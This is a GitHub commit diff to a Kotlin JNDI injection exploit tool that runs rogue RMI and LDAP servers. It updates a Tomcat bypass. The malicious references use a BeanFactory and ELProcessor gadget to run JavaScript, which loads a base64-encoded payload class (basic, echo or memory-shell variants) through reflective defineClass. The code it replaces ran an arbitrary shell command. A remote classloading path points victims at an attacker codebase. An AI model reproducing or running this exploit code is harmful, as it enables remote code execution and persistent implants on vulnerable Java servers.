Skip to content

Commit

Permalink
update tomcat-bypass
Browse files Browse the repository at this point in the history
  • Loading branch information
zrquan committed Apr 15, 2022
1 parent 6bc8d88 commit f85c900
Show file tree
Hide file tree
Showing 6 changed files with 57 additions and 41 deletions.
4 changes: 2 additions & 2 deletions src/main/kotlin/Main.kt
Original file line number Diff line number Diff line change
Expand Up @@ -14,11 +14,11 @@ fun main(args: Array<String>) {
if (helpInfo) {
println("Try the following links ;)".green())
Class.forName("rmi.PayloadsKt").declaredMethods
.map { if (it.name == "ref") "${it.name}/[Basic|Echo|Mem]" else it.name }
.map { if (it.name != "groovy") "${it.name}/[Basic|Echo|Mem]" else it.name }
.forEach { println("rmi://$address:$rmiPort/$it") }

Class.forName("ldap.PayloadsKt").declaredMethods
.map { if (it.name == "ref") "${it.name}/[Basic|Echo|Mem]" else it.name }
.map { if (it.name != "groovy") "${it.name}/[Basic|Echo|Mem]" else it.name }
.forEach { println("ldap://$address:$ldapPort/$it") }

exitProcess(0)
Expand Down
4 changes: 2 additions & 2 deletions src/main/kotlin/ldap/LDAPServer.kt
Original file line number Diff line number Diff line change
Expand Up @@ -36,14 +36,14 @@ class LDAPServer : InMemoryOperationInterceptor() {

override fun processSearchResult(result: InMemoryInterceptedSearchResult) {
val base = result.request.baseDN
val key = base.substringBefore("/")
val (key, type) = base.split("/")

log("Receive a request to $base")

// key 和方法名一致
when (key) {
"ref" -> ref(result, base)
"tomcat" -> tomcat(result, base)
"tomcat" -> tomcat(result, base, type)
"groovy" -> groovy(result, base)
else -> log("Payload not found: $key".red())
}
Expand Down
46 changes: 25 additions & 21 deletions src/main/kotlin/ldap/Payloads.kt
Original file line number Diff line number Diff line change
Expand Up @@ -4,41 +4,45 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult
import com.unboundid.ldap.sdk.Entry
import com.unboundid.ldap.sdk.LDAPResult
import com.unboundid.ldap.sdk.ResultCode
import http.PayloadGenerator
import org.apache.naming.ResourceRef
import util.Options
import util.base46cmd
import util.serialize
import util.toBase64
import javax.naming.StringRefAddr

fun LDAPServer.tomcat(result: InMemoryInterceptedSearchResult, base: String) {
val jsStr = """
var strs=new Array(3);
if(java.io.File.separator.equals('/')) {
strs[0]='/bin/bash';
strs[1]='-c';
strs[2]='${Options.command}';
} else {
strs[0]='cmd';
strs[1]='/C';
strs[2]='${Options.command}';
}
java.lang.Runtime.getRuntime().exec(strs);
fun LDAPServer.tomcat(result: InMemoryInterceptedSearchResult, base: String, type: String) {
val payload = PayloadGenerator().generate(type).toBase64()

val jsCode = """
var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('$payload');
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
try {
var clazz = classLoader.loadClass('$type');
clazz.newInstance();
} catch(err) {
var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var clazz = method.invoke(classLoader, bytes, 0, bytes.length);
clazz.newInstance();
};
""".trimIndent()

val payload = """
{
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("$jsStr")
}
""".trimIndent().replace("\n", "")
val exp = """
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("$jsCode")
""".trimIndent()

val ref = ResourceRef(
"javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null
).apply {
add(StringRefAddr("forceString", "x=eval"))
add(StringRefAddr("x", payload))
add(StringRefAddr("x", exp))
}
val entry = Entry(base).apply {
addAttribute("javaClassName", "java.lang.String")
Expand Down
24 changes: 21 additions & 3 deletions src/main/kotlin/rmi/Payloads.kt
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
package rmi

import http.PayloadGenerator
import org.apache.naming.ResourceRef
import util.Options
import util.base46cmd
import util.toBase64
import java.net.URL
import javax.naming.Reference
import javax.naming.StringRefAddr
Expand All @@ -12,14 +14,30 @@ fun RMIServer.ref(mapping: String): Reference {
return Reference("foo", mapping, "$codebase#$mapping")
}

fun RMIServer.el(): Reference {
fun RMIServer.tomcat(type: String): Reference {
val payload = PayloadGenerator().generate(type).toBase64()

val jsCode = """
var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('$payload');
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
try {
var clazz = classLoader.loadClass('$type');
clazz.newInstance();
} catch(err) {
var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var clazz = method.invoke(classLoader, bytes, 0, bytes.length);
clazz.newInstance();
};
""".trimIndent()

val exp = """
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec('${Options.command}')")
""".trimIndent().replace("\n", "")
.eval("$jsCode")
""".trimIndent()

return ResourceRef(
"javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null
Expand Down
10 changes: 5 additions & 5 deletions src/main/kotlin/rmi/RMIServer.kt
Original file line number Diff line number Diff line change
Expand Up @@ -129,23 +129,23 @@ class RMIServer {
*/
private fun dispatch(path: String, dos: DataOutputStream) {
val rmiKey = path.substringBefore("/")
val httpKey = path.substringAfter("/")
val payloadType = path.substringAfter("/")

dos.writeByte(TransportConstants.Return.toInt())
val mos = MarshalOutputStream(dos, URL("$codebase#$httpKey")).apply {
val mos = MarshalOutputStream(dos, URL("$codebase#$payloadType")).apply {
writeByte(TransportConstants.NormalReturn.toInt())
UID().write(this)
}

// key 和方法名一致
val ref: Reference = when (rmiKey) {
"ref" -> {
log("Sending remote classloading stub ($httpKey)")
ref(httpKey)
log("Sending remote classloading stub ($payloadType)")
ref(payloadType)
}
"tomcat" -> {
log("Sending local classloading reference (tomcat)")
el()
tomcat(payloadType)
}
"groovy" -> {
log("Sending local classloading reference (groovy)")
Expand Down
10 changes: 2 additions & 8 deletions src/main/kotlin/util/HandyFuns.kt
Original file line number Diff line number Diff line change
Expand Up @@ -2,16 +2,8 @@ package util

import java.io.ByteArrayOutputStream
import java.io.ObjectOutputStream
import java.time.LocalDateTime
import java.time.format.DateTimeFormatter
import java.util.*

//fun currentTime(): String {
// val current = LocalDateTime.now()
// val formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")
// return current.format(formatter).purple()
//}

fun String.purple() = "\u001B[35m$this\u001B[0m"
fun String.red() = "\u001B[31m$this\u001B[0m"
fun String.blue() = "\u001B[34m$this\u001B[0m"
Expand All @@ -28,3 +20,5 @@ fun serialize(obj: Any): ByteArray {
oos.writeObject(obj)
return baos.toByteArray()
}

fun ByteArray.toBase64() = Base64.getEncoder().encodeToString(this)

0 comments on commit f85c900

Please sign in to comment.